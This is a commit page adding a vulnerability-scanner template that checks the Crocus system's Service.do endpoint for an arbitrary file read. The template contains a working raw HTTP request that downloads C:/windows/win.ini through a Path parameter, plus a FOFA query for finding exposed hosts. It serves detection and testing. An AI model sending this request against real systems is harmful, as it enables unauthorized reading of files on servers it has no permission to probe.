Create crocus-lfi.yaml

patch-4
pussycat0x 2024-07-04 13:20:45 +05:30 committed by GitHub
parent da7d9bd2cd
commit 926fa8c1be
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: crocus-lfi
info:
name: Crocus system Service.do - Arbitrary File Read
author: pussycat0x
severity: high
description: |
This template detects the ability to download the win.ini file from the Windows directory by exploiting a file download vulnerability.
reference:
- https://github.com/wy876/POC/blob/main/%E9%94%90%E6%98%8E%E6%8A%80%E6%9C%AFCrocus%E7%B3%BB%E7%BB%9FService.do%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 1
fofa-query: body="/ThirdResource/respond/respond.min.js" && title="Crocus"
tags: crocus,lfi
http:
- raw:
- |
GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: status
status:
- 200